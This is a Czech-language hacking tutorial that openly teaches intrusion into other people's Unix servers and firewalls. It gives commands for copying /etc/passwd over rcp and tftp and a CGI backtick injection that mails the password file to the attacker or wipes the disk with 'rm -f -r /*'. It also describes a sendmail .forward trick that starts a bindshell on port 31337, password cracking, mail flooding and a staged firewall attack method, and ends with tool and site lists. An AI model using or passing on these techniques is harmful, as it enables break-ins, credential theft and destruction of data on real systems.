zaklady_2cast
27. 12. 2008
Změna hesla.Po určité době je nutné změnit heslo.Zadejte nejprve staré a pak nové heslo.Hesla se nevypisují z důvodu jejich utajení.
Staré heslo:
Nové heslo:
Pomocí elektronické pošty lze i Internet zahltit.Při psaní emailové
adresy lze přikázat kudy má dopis jít.
Používá se následující formát:
uživatel%doména1@doména2
Dopis je dopraven k cílovému poštmistrovi pro doménu "doména2".Ten se podívá
na uživatelskou část a uvidí v ní %.Odtrhne z adresy zavináč a vše za ním,
poslední procento nahradí zavináčem a odešle dopis na vzniklou adresu.
Díku tomuto mechanizmu můžeme diktovat kudy má dopis projít.
Domén můžeme uvést veliké množství.Jestliže se domluví více hackerů a sítí
se přenáší velké objemy dat,např.binární soubory o velikosti asi 500KB
přes obrovské množství serverů,lze celou Internetovou doménu(např.cz),
scela zablokovat na mnoho hodin.
Dále je možné se přihlásit telnetem na port 79 kde pracuje služba finger.
Ta někdy umožňuje vzdálená zadávání tohoto příkazu a tím získávání informací
o uživatelích na systému.
Jinak je zřejmé že jestliže se vám podáří získat přístup do shelu jako
root tak je vše jasné.A jestliže navíc je povoleno přihlášení uživatele
root jak telnetem tak přes FTP tak není co řešit ale taková situace
nastane jenom zřídka.
Zde je seznam služeb standartně spuštěných na systému UNIX(LINUX).
služba port
ftp-data 20
ftp 21
telnet 23
SMTP 25
Whois 43
Gopher 70
Finger 79
http 80
pop-3 110
Na tyto porty je možno se připojovat telnetem a zkoušet.
Hodně práce a času nám ušetří různé hackerské nástroje které jsou dostupné
např.na http://www.security.sk nebo na http://www.rootshell.com
Dále mužeme zkoušet pracujeme-li na LINUXU tak zvané r příkazy jedná se o
rlogin,rcp,rsh.
Příklad:
%rlogin 193.179.4.2
a uvidíme co se bude dít.
%rcp 193.179.4.2: /etc/passwd /home/
Tímto příkazem se pokoušíme zkopírovat super tajný soubor passwd na svůj
systém.
%rsh 193.179.4.2 ps -aux
Tímto příkazem se snažíme zjistit s jakými oprávněními je spuštěm www server
na vzdáleném systému.
Jenom tak na okraj jestliže chcete zjistit IP adresu vzdáleného systému
stačí použít program ping např. je i ve win 95:
Příklad:
ping www.hrad.cz
Pinging from 193.179.4.2:bytes=32 time 60ms TTL64
Další možnost jak napadnout vzdálený systém je program tftp napíšem:
$ tftp 193.179.4.2
tftp> get /etc/passwd
Error code 1: File not found
tftp> quit
Jestliže dostaneme takovouto odpověď máme smůlu.Služba je zakázaná.
Vraťme se zpátky k fenoménu dneška a to je WWW.Jak známo vetšina
internetových serverů pracuje pod systémem UNIX (LINUX).A ty používají
hlavně www server Apache.Zavádející historický pokus o zabezpečení
bylo to že k portům menším než 1024 se smí připojit jen superuživatel root.
Jak známo tak httpd naslouchá na portu 80.To znamená že alespoň jednou musí
být server spuštěn jako root.A tady je naše šance.Může se stát že
administrátor spustí i kopie serveru jako root(nejnovejší verze Apache to
již neumožňuje).
WWW server nám pošle formulář v HTML skriptu.Náš počítač formulář
interpretuje a zobrazí ho na obrazovce.My jej vyplníme a poté stiskneme
tlačítko Submit.Náš počítač pak pošle formulář zpět na server,kde se
vyvolá URL,k jehož konci je připojen obsah formuláře.Server je nastaven tak
aby toto URL spouštělo skript přidávající obsah formuláře do souboru.
Část tohoto skriptu může vypadat takto:
echo "You have sent the following message: $MESSAGE"
Smyslem je aby nám server poslal potvrzující hlášení,ve kterém se vše,co
jsme napsaly,cituje v řetězci $MESSAGE.
Pukud my budeme vychytralý,napíšeme jako obsah $MESSAGE následující text:
'mail 193.179.4.2 /etc/passwd'
Protože zpětné uvozovky jsou interpretem systému UNIX považovány za omezovače
příkazů,může tento text mít natolik alarmující důsledek jako odeslání
super tajného hesla k nám.
Nebo chcete-li na serveru úplně vyčistit pevný disk můžeme napsat:
'rm -f -r /*'
Ještě jedna finta.Jedná se o velmi starou fintu se souborem .forward
Jetliže nemáte přístup do shellu ale jenom přes ftp,pak je to přímo
idealní situace pro použití souboru .forward.
Stačí uploadovat soubor.forward do domácího adresáře.Sendmail totiž
standartně umožňuje execování souborů.Vyrobíme nasledující .forvard soubor
$ cat .forward
|/tmp/scriptik
$
Tento soubor je třeba uploadovat do domácího adresáře.Pak si vytvoříme
soubor "scriptik".
$ cat scriptik
/tmp/bindshell &
$
Bindshell je program který hodí shell na port 31337.Aby se faily mohli
exnout musí být executable.Mužeme to udělat takto:
$ ftp -nv
ftp> o server.provider.cz
Conected to server.provider.cz
ftp> user login heslo
ftp> cd /tmp
ftp> quote site chmod 755 bindshell
ftp> quote site chmod 755 scriptik
ftp> close
Potom stačí na toto konto poslat nějaký mail.Sendmail spustí /tmp/scriptik
a ten spustí bindshell.
Pak se telnetem připojíme na port 31337 např. takto
$ telnet 193.179.4.2 31337
A dostanete se shellu.Pak můžete zadat tento příkaz.
cat /etc/passwd > /home/ftp/incoming/ukradena_hesla
Tímto se obsah tajného souboru passwd přenese do souburu ukradena_hesla
v adresáři incoming.
Pak na soubor passwd pustíme program John the Ripper a máme hesel dostatek.
Možná i účet roota.Ještě se může stát že anonymní adresář má nastaveny
práva na 777.Pak by to byl čistý vnější průnik.
Konec první části.
Část druhá-Útok na firewall(FW).
Útočná metodologie uvažuje čtyři řůzné úrovně útoku na FW.První úroveň
spočívá v pokusu o nenápadné získání informací,které mouhou posloužit v další
vlně útoku.Druhá úroveň útoku představuje již patrný bezprostřední sběr
informací,ale ještě ne aktivní pokus o průnik do sítě.Třetí úroveň útoku
se pokouší zdolat FW a narušit za ním lokalizované klienty,přičemž toto
úsilí je inicializováno z klienta vně napadené sítě.Čtvrtá úroveň útoku
pak představuje pokus narušit bezpečnostní software FW,jeho konfiguraci nebo
operační systém z klienta uvnitř atakované sítě.
1)První úroveň útoku
Jde o pokus získat informace o cílové síti,napadení z vnějších zdrolů tak
aby se o tom cílová organizace nedozvěděla.Prvním krokem je zkontrolovat
vstup do databáse na Network Information Centre (NIC).Použijeme telnet
do rs.internic.net a pak zadáme příkaz whois.To nám poskytne informace
o adresách a lokalitách.Bude nám to také naznačovat složitost cílových
skupin sítě.Jestliže administrativní kontakt je shodný se zónou a
technickým kontaktem,pak to může znamenat,že síťové skupiny mohou být
v Internetu malé a relativně nové.Jestliže cílové organizace nemají svůj
vlastní nameserver,pak je organizace asi malá a relativně krátkou dobu
připojená do Internetu.Příkaz whois vylistuje primární a sekundární
nameservery spolu s doménovým jménem.
Poznámka:(lze použít i www přes http://rs.internic.net)
Dalším krokem v této první úrovni je použití příkazu nslookup abychom
získali maximum informací o cílové organizaci.Připojíme se raději k
sekundárnímu nameserveru než k primárnímu a pokuste se o tak zvaný
zóne transfer.Jestliže je zóne transfer povolen,budeme mít velice cenné
informace o vnitřní cílivé síti.
Tak lze zjistit počet stanic a topologii cílové sítě.Zóne transwer je však
ve většině sítí zakázán.Příkazem nslookup můžeme zjistit spoustu dalších
informací,např.po použití příkazu set type=MX můžeme zjistit konfiguraci
pošty a IP adresy poštovní serverů atd.Posledním krokem této úrovně je
hledání veřejně přístupných informací o cílové organizaci.Velkým zdrojem
informací mohou být výroční zprávy a obchodní publikace,spojení s jinými
organizacemi atd.Tyto informace mohou být užitečné ze kterých kanálů
útočit.
2)Druhá úroveň útoku
Sondování již může být objeveno cílovou organizací.Prvním krokem je pokus
přenos DNS zóny z primárního name serveru,ačkoli většina organizací přenos
zóny zakazuje,jak bylo řečeno výše.Ten kdo na FW útočí musí v dalším
kroku vyhledat sítě a v nich konkrétní uzly.Zabere to hodně času,zvlášť
pokud je síť za FW rozhlehlá.Tento krok lze i při nedostatku času přeskočit
Pro vyhledávání existují dvě metody.
PING
POKUS PŘIPOJIT SE NA TCP PORT 25
Směrovače mohou ztratit ICMP pakety,proto je žádoucí abychom posílali
nejméně tři pakety na každou adresu.Osobně doporučuji pět paketů.
Připojení na TCP port je pomalejší,protože spojení čeká na time-out
jestliže je adresa nedostupná.Každý uzel který odpoví,je pak potenciálním
bodem vstupu do vnitřní sítě.Tímto způsobem si vytvoříme seznam
potenciálních uzlů (cílů) a měli bychom zjistit,jaké služby na nich běží.
Předpokládá to uskutečnění připojení na každý TCP port na každé cílové
stanici.
3)Třetí úroveň útok a proniknutí.
Tato metodologie předpokládá,že v tomto okamžiku máme k dispozici seznam
uzlů a služeb vnitřní sítě z FW,teprve potom můžeme zahájit útok.
Existují dva druhy útoků:
a)získání přístupu do shellu FW (dokonce se můžeme stát správci systému),
b)použití vzdálených služeb,které jsou k dispozici prostřednictvým FW a
které změní kritické konfigurační soubory nebo modifikují služby,které
běží na FW.
Na FW často běží služba (např.mail démon),která není dostatečně zabezpečená
Tyto služby se stanou prvním cílem útoku.Mnoho FW má slabinuv syslogd,jiné
dovolují spojení telnetem z adres IP externích sítí.Ještě lepší je když
na FW je velký počet neaktivních účtů,které měli být dávno vymazány.
Dokonce i když je FW odolný proti proniknutí z externích lokalit,vnitřní
uzly a uzly v demilitarizované zóně (DMZ)jsou často přístupné z vnější
sítě.Už takto kvalifikované útoky mohou způsobit nefunkčnost napadené
sítě.A to nám přeci jde.Po té jsme uskutečnili veškeré útoky proti FW,je
nutno obrátit pozornost na uzly v cílové síti.Zkusíme telnet popř.rlogin
posíme se získat přístup do shellu.Další možností získání přístupu
je využít slabiny v NFS,NIS a sendmailu.Velkou službu nám udělají
hackerské nástroje,které jsou dostupné na mnoha FTP serverech.Proniknutí
do jednoho uzlu interní sítě akceleruje proces proniknutí do celé vnitřní
sítě.Je tomu tak proto,že uzly v TCP/IP nemají mezi sebou zabezpečené
vztahy.
4)Modifikace FW
Jde o napadení FW s cílem modifikovat FW,povolit volný přístup a jednoduchý
přístup do vnitřní sítě.Nainstalujeme program "sniffer" do segmentu sítě,
kde je FW který čeká na přihlášení administrátora.
Některé hackerské programy:SATAN-program pro pátrání po bezpečnostních
chybách ve www serverech.
CRACK-louskač hesel.
ROOTKIT-Nástroj pro privilegovaný přístup do systému UNIX (LINUX).
TAP-Analyzuje packety.
WINNUKE-Dálkově resetuje www servery pod Win NT.
Tak to by snad na ty firevaly stačilo.Na konec uvádím program sniffer o
kterém jsem se zmínil výše.Je napsán v jazyce C.
Ještě nakonec této části uvádím hackerské www servery kde lze získat různé
hackerské utility.
Hackerské adresy:
http://www.digicrime.com
http://fishwrap.mit.edu/Hacks/misc/gallery_menu.html
http://nmrc.org/
http://jya.com/mondex-hack.htm
http://www.stanford.edu/~llurch/
čipové karty http://www.ioc.ee/atsc/
Hackerský časopis: http://www.klaphek.nl
Chyba v exploreru: http://www.cybersnot.com/iebug.html/
čipové karty: http://www.ft.uni-erlagen.de/~mskuhn/tamper/html
Telnet://rs.internic.net (příkaz WHOIS)
čipové karty: http://www.bellcore.com/SMART/index.html
čipové karty: http://www.cs.technion.ac.il/~biham/
hackerské nástroje:http://www.security.sk nebo http://www.rootshell.com
Slovenský server http://www.hysteria.sk nebo http://hack.box.sk
el.časopis phrack:http://www.fc.net/phrack/
http://www.phrack.com/
http://www.2600.com/hacked_pages
Satelit http://www.hack.sk